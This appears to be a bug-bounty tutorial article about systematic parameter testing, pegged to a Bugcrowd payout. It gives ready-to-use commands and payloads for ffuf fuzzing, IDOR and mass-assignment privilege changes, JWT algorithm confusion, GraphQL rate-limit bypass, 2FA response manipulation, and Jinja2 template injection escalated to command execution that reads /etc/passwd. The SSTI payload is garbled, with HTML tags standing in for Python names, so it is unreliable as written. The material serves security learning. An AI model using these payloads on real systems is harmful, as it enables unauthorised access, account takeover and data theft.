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Introduction:
In the intricate world of bug bounty hunting, the most lucrative vulnerabilities are often hidden in plain sight. A recent $1800 payout on Bugcrowd, credited to researcher Nasim Mostakim, underscores a critical lesson for security professionals: the paramount importance of testing every single parameter. This article deconstructs the techniques behind such discoveries, providing a hands-on guide to uncovering hidden vulnerabilities through systematic parameter analysis.
Learning Objectives:
- Understand the core methodology of testing application parameters for common and obscure vulnerabilities.
- Master the use of command-line and proxy tools to automate and streamline the parameter testing process.
- Learn to identify, exploit, and responsibly disclose authentication bypasses, IDORs, and business logic flaws.
You Should Know:
1. Intercepting and Replaying Requests with Burp Suite
Burp Suite is the industry-standard proxy for web application testing. It allows you to intercept, modify, and replay HTTP requests to test how parameters are handled.
Step 1: Configure your browser to use Burp's proxy (usually 127.0.0.1:8080) Step 2: Ensure 'Intercept is on' within the Burp Proxy tab. Step 3: Perform an action in the browser (e.g., submit a form, change a profile setting). The request will pause in Burp. Step 4: Right-click the intercepted request and send it to Burp Repeater for manual manipulation of parameters. Step 5: In Repeater, modify parameter values (e.g., change `user_id=123` to <code>user_id=124</code>) and send the request to observe the server's response.
2. Automated Parameter Fuzzing with ffuf
Ffuf is a blazing-fast web fuzzer used to discover hidden endpoints, parameters, and values by brute-forcing.
Basic directory fuzzing: ffuf -w /path/to/wordlist.txt -u https://target.com/FUZZ Parameter fuzzing (discovering hidden parameters): ffuf -w /path/to/param-wordlist.txt -u https://target.com/endpoint?FUZZ=test_value -fs 0 Value fuzzing on a known parameter (e.g., finding valid user IDs): ffuf -w /path/to/numbers.txt -u https://target.com/api/user?id=FUZZ -H "Cookie: session=your_valid_session" -mc all
3. Testing for IDOR (Insecure Direct Object Reference)
IDOR occurs when an application provides direct access to objects based on user-supplied input without proper authorization checks.
After intercepting a request like:
GET /api/v1/user/12345/profile HTTP/1.1
Host: target.com
Cookie: session=your_session_key
Step 1: Change the object reference ID in the URL or body.
GET /api/v1/user/12346/profile HTTP/1.1
Step 2: Also test using different HTTP methods:
POST /api/v1/user/12346/profile HTTP/1.1
... [with the same body as a request for user 12345]
Step 3: Test for mass assignment by adding parameters that should not be user-controllable:
POST /api/v1/user/12345/profile HTTP/1.1
...
{"user_id":12345, "role":"admin", "is_verified":true}
4. JWT Token Manipulation
JSON Web Tokens (JWTs) are often used for authentication and can be vulnerable to algorithm confusion or signature bypass.
Decode a JWT to see its header and payload: echo "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c" | base64 -d Step 1: Change the algorithm in the header from `RS256` to `HS256` (if the server is vulnerable to algorithm confusion). Step 2: Use the public key (often found at `/jwks.json` or <code>/api/.well-known/jwks.json</code>) as the secret to sign the new token. Step 3: Re-encode the header and payload and sign with the new secret.
5. GraphQL Query Manipulation
GraphQL endpoints can be vulnerable to introspection-based information disclosure and batch query attacks.
Step 1: Discover if introspection is enabled. Send a POST request to the GraphQL endpoint:
{"query":"query {__schema{queryType{name}}}"}
Step 2: If enabled, use a tool like `clairvoyance` to dump the entire schema:
clairvoyance -o schema.json -w https://target.com/graphql
Step 3: Test for batch query attacks (bypassing rate limits):
{"query":"mutation { login(input: {email: \"[email protected]\", password: \"password1\"}) { token } }"}
Send multiple queries in a single request:
[
{"query":"query { user(id: 1) { email } }"},
{"query":"query { user(id: 2) { email } }"}
]
6. Testing for SSTI (Server-Side Template Injection)
SSTI vulnerabilities allow attackers to inject template directives into user inputs, potentially leading to remote code execution.
Basic detection in a parameter (e.g., <code>name</code>):
${77}
{77}
{{77}}
{% if 1==1 %}1{% endif %}
If a response evaluates the operation (e.g., returns "49"), it is likely vulnerable.
Step 1: Identify the template engine. Use a polyglot payload or test with engine-specific syntax.
Step 2: For a confirmed engine (e.g., Jinja2), escalate to RCE:
{{ ''.<strong>class</strong>.<strong>mro</strong>[bash].<strong>subclasses</strong>() }} To list all classes
{{ ''.<strong>class</strong>.<strong>mro</strong>[bash].<strong>subclasses</strong>()[400]('cat /etc/passwd', shell=True, stdout=-1).communicate() }} Example RCE
7. Bypassing 2FA with Response Manipulation
Multi-factor authentication mechanisms can sometimes be bypassed by manipulating responses in the authentication flow.
Step 1: Intercept the request after submitting a valid password and correct 2FA code.
POST /auth/2fa_verify HTTP/1.1
...
{"code":"123456"}
Step 2: Note the response. A successful login might return <code>{"success": true, "token": "abc123"}</code>.
Step 3: Now, intercept the request after submitting a password but before submitting the 2FA code.
Step 4: Forward this request directly to the next step that requires authentication, or try changing the response from the server on the 2FA step to mimic a success message before a code is even submitted.
What Undercode Say:
- The Mundane is Critical: The highest rewards often come not from complex zero-days, but from meticulous, repetitive testing of every parameter, endpoint, and function. Automation is key to scaling this effort.
- Context is King: Understanding the application’s business logic is more valuable than any tool. A parameter like `is_admin` might be hidden in a JSON body, a header, or a different endpoint entirely. Manual analysis guided by logic will find what automated scanners miss.
This case exemplifies a shift in modern application security. As frameworks become more secure against classic vulnerabilities like SQLi and XSS, flaws shift towards business logic and improper access control. The researcher’s success hinged on a simple yet powerful methodology: manipulate everything. The future of bug bounty hunting lies in this hybrid approach—leveraging automated tools for discovery but relying on deep, manual testing and an understanding of application context to identify the flaws that machines cannot see. The next frontier will be testing the parameters of GraphQL and gRPC APIs, and the integrity of JWT tokens within microservices architectures, areas where traditional scanners are still playing catch-up.
Prediction:
The sophistication of automated vulnerability scanners will continue to increase, pushing ethical hackers towards more nuanced and complex classes of bugs. We will see a significant rise in bounties paid for vulnerabilities in API chains, serverless function configurations, and AI model endpoints, where parameter manipulation can lead to massive data exposure or computational hijacking. The bounty market will increasingly reward those who can understand and exploit the intricate connections between modern, distributed systems.
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IT/Security Reporter URL:
Reported By: Ontu404 Ittakesacrowd – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
